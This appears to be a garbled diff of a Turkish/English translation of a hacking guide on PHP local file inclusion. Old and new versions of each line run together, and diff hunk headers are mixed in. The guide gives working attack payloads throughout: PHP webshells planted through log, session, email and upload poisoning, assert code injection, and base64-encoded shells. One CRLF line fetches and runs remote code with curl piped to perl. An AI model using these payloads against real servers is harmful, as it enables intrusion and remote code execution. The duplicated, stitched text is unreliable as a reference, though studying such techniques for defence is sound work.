Eğer LFI yalnızca içindeki PHP kodunu çalıştırmayıp dosya okuma gerçekleştiriyorsa — ör. `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlarla — deserialization zafiyetinin istismarı denenebilir. Bu zafiyet, `phar` protokolü kullanılarak dosya okunmasıyla ilişkilidir. Eğer LFI sadece dosyayı okuyup içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` veya `filesize()` gibi fonksiyonlar aracılığıyla deserialization vulnerability sömürülmeye çalışılabilir. Bu zaafiyet, `phar` protokolü kullanılarak dosya okunmasıyla ilişkilidir.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
@ -373,74 +373,74 @@ phar-deserialization.md
### CVE-2024-2961 ### CVE-2024-2961
PHP'de php filter'larını destekleyen **herhangi bir rastgele dosya okuma** RCE elde etmek için kötüye kullanılabiliyordu. Ayrıntılı açıklama [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1).\ It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Çok kısa özet: PHP heap'inde bir **3 byte overflow** kullanılarak belirli bir boyuttaki serbest chunk zinciri **değiştirildi** ve böylece **herhangi bir adrese istediğini yazmak** mümkün oldu; bu yüzden **`system`** çağırmak için bir hook eklendi.\ Çok kısa özet: PHP heap'inde bir **3 byte overflow** suistimal edilerek belirli boyuttaki serbest chunk zinciri değiştirilip herhangi bir adrese **her şeyi yazmak** mümkün kılındı; bunun için bir hook eklenip **`system`** çağrıldı.\
Daha fazla php filter kullanarak belirli boyutlarda chunk'lar alloc etmek mümkündü. Ayrıca daha fazla php filter suistimal edilerek belirli boyutlarda chunk'lar alloc etmek mümkün oldu.
### More protocols ### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** Dahil edilebilecek daha fazla olası [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bir file inclusion attack'ta bunun nasıl işe yarayacağına emin değilim) - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Bellekte veya geçici bir dosyaya yazma (bir file inclusion saldırısında bunun nasıl faydalı olabileceği kesin değil)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem - [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs - [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Sıkıştırma akışları
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Yazdırılabilir bir şey döndürmediği için burada pek kullanışlı değil) - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desenle eşleşen pathnames bulma (Yazdırılabilir bir şey döndürmediği için burada pek kullanışlı değil)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Rastgele dosyaları okumak için kullanışlı değil) - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Rastgele dosyaları okumak için kullanışlı değil)
## LFI via PHP's 'assert' ## LFI via PHP's 'assert'
PHP'de 'assert' fonksiyonuyla uğraşıldığında Local File Inclusion (LFI) riski özellikle yüksektir; 'assert' string içindeki kodu çalıştırabilir. Bu, '..' gibi directory traversal karakterleri içeren girdiler kontrol edilip doğru şekilde sanitize edilmezse özellikle sorunludur. PHP'de 'assert' fonksiyonu ile ilişkili Local File Inclusion (LFI) riskleri özellikle yüksektir; çünkü assert string içindeki kodu çalıştırabilir. Bu, özellikle ".." gibi directory traversal karakterleri içeren girdiler kontrol edilip düzgün şekilde sanitize edilmezse sorun yaratır.
For example, PHP code might be designed to prevent directory traversal like so: For example, PHP code might be designed to prevent directory traversal like so:
```bash ```bash
assert("strpos('$file', '..') === false") or die(""); assert("strpos('$file', '..') === false") or die("");
``` ```
Bunun traversal'ı engellemeyi amaçlamasına rağmen, kazara code injection için bir vektör oluşturur. Dosya içeriklerini okumak için bundan yararlanmak isteyen bir attacker şunu kullanabilir: Bu, traversal'ı engellemeyi amaçlasa da kazara code injection için bir vektör oluşturur. Dosya içeriklerini okumak amacıyla bunu sömürmek için bir saldırgan şunu kullanabilir:
```plaintext ```plaintext
' and die(highlight_file('/etc/passwd')) or ' ' and die(highlight_file('/etc/passwd')) or '
``` ```
Benzer şekilde, herhangi bir sistem komutunu yürütmek için şu kullanılabilir: Benzer şekilde, keyfi sistem komutlarını çalıştırmak için şunu kullanabilirsiniz:
```plaintext ```plaintext
' and die(system("id")) or ' ' and die(system("id")) or '
``` ```
It's important to **URL-encode these payloads**. Bu **payloads**'ı **URL-encode** etmek önemlidir.
## PHP Blind Path Traversal ## PHP Blind Path Traversal
> [!WARNING] > [!WARNING]
> Bu teknik, bir **PHP function**ın **dosya yolu** üzerinde **kontrol** sahibi olduğunuz ve bu fonksiyonun bir **dosyaya erişeceği** ancak dosya içeriğini görmeyeceğiniz durumlarda (ör. basit bir **`file()`** çağrısı) önemlidir — içerik gösterilmez. > Bu teknik, **dosya yolunu kontrol ettiğiniz** ve **bir PHP fonksiyonunun** **bir dosyaya erişeceği** ama dosyanın içeriğini görmeyeceğiniz durumlarda geçerlidir (örneğin basit bir çağrı olan **`file()`**) ancak içerik gösterilmez.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
Özetle, teknik **"UCS-4LE" encoding** kullanarak bir dosyanın içeriğini o kadar **büyük** hale getiriyor ki dosyayı açan **PHP function** bir **error** tetikliyor. Özetle, teknik dosyanın içeriğini çok **büyük** hale getirmek için **"UCS-4LE" encoding** kullanıyor, böylece dosyayı açan **PHP fonksiyonu** bir **hata** tetikleyecek.
Daha sonra, ilk karakteri leak etmek için **`dechunk`** filtresi **base64** veya **rot13** gibi diğerleriyle birlikte kullanılıyor ve son olarak **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri diğer karakterleri başa yerleştirip onları leak etmek için kullanılıyor. Sonra, ilk char'ı leak etmek için filtre **dechunk** diğerleriyle birlikte (ör. **base64**, **rot13**) kullanılır ve son olarak filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** kullanılarak **başka karakterleri başa yerleştirip leak etmek** sağlanır.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` **Zafiyetli olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Teknik detaylar için bahsedilen post'a bakın! Teknik detaylar için bahsedilen yazıya bakın!
## LFI2RCE ## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE) ### Arbitrary File Write via Path Traversal (Webshell RCE)
Dosya alan/yükleyen server-side kodu, hedef yolu kullanıcı kontrollü veri (örn. filename veya URL) kullanarak canonicalise ve validate etmeden oluşturduğunda, `..` segmentleri ve absolute path'ler amaçlanan dizinden kaçıp arbitrary file write'e yol açabilir. Eğer payload'ı web-exposed bir dizine yerleştirebiliyorsanız, genellikle unauthenticated RCE elde edersiniz — webshell bırakarak. When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Tipik exploitation workflow: Typical exploitation workflow:
- Path/filename kabul eden ve içeriği diske yazan bir endpoint veya background worker'da bir write primitive tespit edin (örn. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.). - Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Web-exposed dizinleri belirleyin. Yaygın örnekler: - Determine web-exposed directories. Common examples:
- Apache/PHP: `/var/www/html/` - Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp` - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Amaçlanan storage dizininden webroot'a çıkan bir traversal path oluşturun ve webshell içeriğinizi ekleyin. - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Bıraktığınız payload'a gidin ve komutları çalıştırın. - Browse to the dropped payload and execute commands.
Notlar: Notes:
- Yazmayı gerçekleştiren vulnerable service non-HTTP portunda dinliyor olabilir (örn. TCP 4004'te bir JMF XML listener). Ana web portalı (farklı port) daha sonra payload'ınızı serve eder. - The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- Java stack'lerinde, bu dosya yazımları genellikle basit `File`/`Paths` concatenation ile uygulanır. Canonicalisation/allow-listing eksikliği temel zafiyettir. - On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml ```xml
@ -466,25 +466,25 @@ in.transferTo(out);
</Command> </Command>
</JMF> </JMF>
``` ```
Sertleştirme ile bu sınıftaki hatalar engellenir: Bu tür hataları bertaraf eden sertleştirmeler:
- Kanonik bir yola çevirin ve bunun izin verilen (allow-listed) temel dizinin bir alt dizini olduğunu zorunlu kılın. - Yolu kanonik hale getirin ve bunun izinli bir temel dizinin (allow-listed base directory) alt dizini olduğunu zorunlu kılın.
- `..`, absolute roots veya drive letters içeren herhangi bir yolu reddedin; tercihen üretilmiş dosya adlarını kullanın. - `..`, mutlak kökler veya sürücü harfleri içeren herhangi bir yolu reddedin; tercih olarak oluşturulmuş dosya adlarını kullanın.
- Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini servis edilen köklerden ayırın. - Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini sunulan köklerden ayırın.
## Remote File Inclusion ## Remote File Inclusion
Daha önce açıklandı, [**follow this link**](#remote-file-inclusion). Daha önce açıklandı, [**follow this link**](#remote-file-inclusion).
### Apache/Nginx günlük dosyası üzerinden ### Apache/Nginx günlük dosyası aracılığıyla
Eğer Apache veya Nginx sunucusu include fonksiyonu içinde **vulnerable to LFI** ise, **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** dosyalarına erişmeyi deneyebilir, **user agent** içine veya bir **GET parameter** içine bir php shell olarak **`<?php system($_GET['c']); ?>`** yerleştirip o dosyayı include edebilirsiniz Eğer Apache veya Nginx sunucusu include fonksiyonu içinde **vulnerable to LFI** ise **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**'a erişmeyi deneyebilir, **user agent** içine veya bir **GET parameter** içine **`<?php system($_GET['c']); ?>`** gibi bir php shell koyup o dosyayı include edebilirsiniz.
> [!WARNING] > [!WARNING]
> Unutmayın ki shell için **tek tırnak** yerine **çift tırnak kullanırsanız**, çift tırnaklar "_**quote;**_" stringine dönüştürülür, **PHP orada bir hata fırlatır** ve **hiçbir şey çalıştırılmaz**. > Shell için **çift tırnak** kullanırsanız (tek tırnak yerine), çift tırnaklar "_**quote;**_" stringine dönüşecek, **PHP bir hata fırlatacak** ve **başka hiçbir şey yürütülmeyecek**.
> >
> Ayrıca, **payload'u doğru yazdığınızdan** emin olun; aksi halde PHP log dosyasını her yüklemeye çalıştığında hata verir ve ikinci bir şansınız olmaz. > Ayrıca, **payload'u doğru yazdığınızdan** emin olun; aksi takdirde PHP log dosyasını her yüklemeye çalıştığında hata verecek ve ikinci bir şansınız olmayacak.
Bu diğer loglarda da yapılabilir ancak **dikkatli olun,** logların içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Header **authorisation "basic"** Base64 içinde "user:password" içerir ve logların içinde decode edilir. PHPShell bu header içine yerleştirilebilir.\ Bu işlem diğer loglarda da yapılabilir fakat **dikkatli olun,** log içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Header **authorisation "basic"** Base64 olarak "user:password" içerir ve loglar içinde decode edilir. PHPShell bu header içine yerleştirilebilir.\
Diğer olası log yolları: Diğer olası log yolları:
```python ```python
/var/log/apache2/access.log /var/log/apache2/access.log
@ -499,29 +499,29 @@ Diğer olası log yolları:
``` ```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via Email ### E-posta ile
**Bir e-posta gönderin** internal bir hesaba (user@localhost) içinde PHP payload'unuz gibi `<?php echo system($_REQUEST["cmd"]); ?>` bulunacak şekilde ve kullanıcının mailini şu yolları include etmeyi deneyin: **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`** **Bir e-posta gönderin** yerel bir hesaba (user@localhost) PHP payload'unuzu içerecek şekilde, örneğin `<?php echo system($_REQUEST["cmd"]); ?>`, ve kullanıcının postasını **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`** gibi bir yol ile include etmeyi deneyin.
### Via /proc/\*/fd/\* ### Üzerinden /proc/\*/fd/\*
1. Çok sayıda shells yükleyin (örneğin: 100) 1. Çok sayıda shell yükleyin (örneğin: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), burada $PID = işlemin PID'si (brute force ile bulunabilir) ve $FD file descriptor (o da brute force ile bulunabilir) 2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), burada $PID işlemin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısı (brute force ile bulunabilir)
### Via /proc/self/environ ### Üzerinden /proc/self/environ
Bir log dosyası gibi, payload'u User-Agent içine gönderin; bu /proc/self/environ dosyasında yansıyacaktır. Bir log dosyası gibi, payload'u User-Agent içinde gönderin; /proc/self/environ dosyasında yansıyacaktır.
``` ```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?> User-Agent: <?=phpinfo(); ?>
``` ```
### Üzerinden upload ### Yükleme yoluyla
Eğer bir dosya upload edebiliyorsanız, içine sadece shell payload enjekte edin (ör. : `<?php system($_GET['c']); ?>` ). Bir dosya yükleyebiliyorsanız, içine sadece shell payload'u enjekte edin (ör.: `<?php system($_GET['c']); ?>` ).
``` ```
http://example.com/index.php?page=path/to/uploaded/file.png http://example.com/index.php?page=path/to/uploaded/file.png
``` ```
Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf'lerin meta verisine enjekte etmek en iyisidir Dosyanın okunabilirliğini korumak için, resimlerin/doc/pdf'lerin üstverilerine enjekte etmek en iyisidir
### Zip dosyası yükleyerek ### Zip dosyası yükleyerek
@ -529,9 +529,9 @@ PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:
```python ```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
``` ```
### PHP sessions ile ### PHP sessions aracılığıyla
Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin. Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin
``` ```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@ -541,36 +541,36 @@ PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarına kaydedilir
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
``` ```
Cookie'yi `<?php system('cat /etc/passwd');?>` olarak ayarla Cookie'yi `<?php system('cat /etc/passwd');?>` olarak ayarlayın
``` ```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
``` ```
PHP session file'ını include etmek için LFI'yi kullan. LFI'yi kullanarak PHP session fileyi include edin.
``` ```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
``` ```
### ssh ile ### ssh ile
Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve **\<HOME>/.ssh/id_rsa** dosyasına erişmeyi deneyin Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve **\<HOME>/.ssh/id_rsa** dosyasına erişmeye çalışın
### **Üzerinden** **vsftpd** _**günlükleri**_ ### **Üzerinden** **vsftpd** _**logları**_
FTP sunucusu vsftpd'nin logları _**/var/log/vsftpd.log**_ konumundadır. Eğer bir Local File Inclusion (LFI) zafiyeti varsa ve açığa çıkmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar düşünülebilir: FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumunda bulunur. Eğer bir Local File Inclusion (LFI) zafiyeti varsa ve erişilebilir bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar düşünülebilir:
1. Giriş işlemi sırasında kullanıcı adı alanına bir PHP payload enjekte edin. 1. Giriş işlemi sırasında kullanıcı adı alanına bir PHP payload enjekte edin.
2. Enjeksiyon sonrası, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ dosyasından alın. 2. Enjeksiyondan sonra, sunucu loglarını almak için LFI'yi kullanın: _**/var/log/vsftpd.log**_.
### php base64 filtresi ile (base64 kullanarak) ### php base64 filter (base64 kullanarak)
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten bir base64 sağlarsanız, filtre "." karakterini görmezden gelir ve base64'e "php" ekler. İşte bir örnek payload: Bu [bu makalede](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) gösterildiği gibi, PHP base64 filter Non-base64'i yoksayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten bir base64 verirseniz, filtre "."'ı yok sayar ve base64'e "php" ekler. İşte bir örnek payload:
```url ```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
### php filters ile (dosya gerekmez) ### Via php filters (dosya gerekmez)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) açıklar ki **php filters ile rastgele içerik üretilebilir** çıktı olarak. Bu temelde, include için **rastgele php kodu üretebileceğiniz** anlamına gelir **bunu bir dosyaya yazmanıza gerek kalmadan**.
{{#ref}} {{#ref}}
@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
### Nginx temp file storage ile ### Nginx temp file storage ile
Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz: Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
{{#ref}} {{#ref}}
@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
### PHP_SESSION_UPLOAD_PROGRESS ile ### PHP_SESSION_UPLOAD_PROGRESS ile
Eğer bir **Local File Inclusion** bulduysanız, **session**'ınız olmasa ve `session.auto_start` `Off` olsa bile. Eğer **multipart POST** verisinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP **otomatik olarak session'i etkinleştirir**. Bunu RCE elde etmek için kötüye kullanabilirsiniz: Eğer bir **Local File Inclusion** bulduysanız, hatta **session'a sahip olmasanız** ve `session.auto_start` `Off` olsa bile. Eğer **multipart POST** verisinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP **session'ı sizin için etkinleştirir**. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
{{#ref}} {{#ref}}
@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
### `pearcmd.php` + URL args ile ### `pearcmd.php` + URL args ile
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), script `/usr/local/lib/phppearcmd.php` php docker images içinde varsayılan olarak mevcuttur. Ayrıca, bir URL parametresi `=` içermiyorsa argüman olarak kullanılacağı belirtildiği için script'e URL üzerinden argüman geçirmek mümkündür. Ayrıca bakınız [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) ve [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`: The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash ```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
``` ```
Aşağıdaki bir CRLF vuln'ü istismar ederek RCE elde ediyor (kaynak [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): Aşağıdaki, bir CRLF vuln kullanarak RCE elde ediyor (kaynak: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
``` ```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
``` ```
### phpinfo() ile (file_uploads = on) ### phpinfo() ile (file_uploads = on)
Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()**'u açığa çıkaran ve file_uploads = on olan bir dosya varsa RCE elde edebilirsiniz: Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()** ile file_uploads = on gösteren bir dosya varsa RCE elde edebilirsiniz:
{{#ref}} {{#ref}}
@ -639,32 +639,32 @@ lfi2rce-via-phpinfo.md
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure ile ### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure ile
Eğer bir **Local File Inclusion** bulduysanız ve geçici dosyanın yolunu **exfiltrate** edebiliyorsanız AMA **sunucu**, dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını **kontrol ediyorsa**, bu kontrolü bu **Race Condition** ile **atlatmayı** deneyebilirsiniz: Eğer bir **Local File Inclusion** bulduysanız ve temp dosyanın path'ini exfiltrate edebiliyorsanız AMA **server** dahil edilecek dosyanın **PHP marks** olup olmadığını kontrol ediyorsa, bu kontrolü bu **Race Condition** ile atlamayı deneyebilirsiniz:
{{#ref}} {{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}} {{#endref}}
### eternal waiting + bruteforce ile ### Sonsuz bekleme + bruteforce ile
Eğer LFI'yi **upload temporary files** için kötüye kullanabiliyor ve sunucunun PHP yürütmesini **hang** edecek şekilde yapabiliyorsanız, geçici dosyayı bulmak için saatlerce dosya isimlerini **bruteforce** edebilirsiniz: Eğer LFI'yi kötüye kullanarak geçici dosyalar yükleyebiliyor ve server'ın PHP yürütmesini takılmaya (hang) zorlayabiliyorsanız, geçici dosyayı bulmak için saatlerce dosya adlarını **brute force** edebilirsiniz:
{{#ref}} {{#ref}}
lfi2rce-via-eternal-waiting.md lfi2rce-via-eternal-waiting.md
{{#endref}} {{#endref}}
### To Fatal Error ### Fatal Error'a
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez include etmeniz gerekiyor). Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez include etmeniz gerekiyor).
**Bunun nasıl faydalı olduğunu bilmiyorum ama işe yarayabilir.**\ **Bunun ne kadar faydalı olduğunu bilmiyorum ama işe yarayabilir.**\
_PHP Fatal Error'a sebep olsanız bile, yüklenen PHP geçici dosyaları silinir._ _PHP Fatal Error'a sebep olsanız bile, yüklenen PHP geçici dosyaları silinir._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Kaynaklar ## Referanslar
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -673,6 +673,7 @@ _PHP Fatal Error'a sebep olsanız bile, yüklenen PHP geçici dosyaları silinir
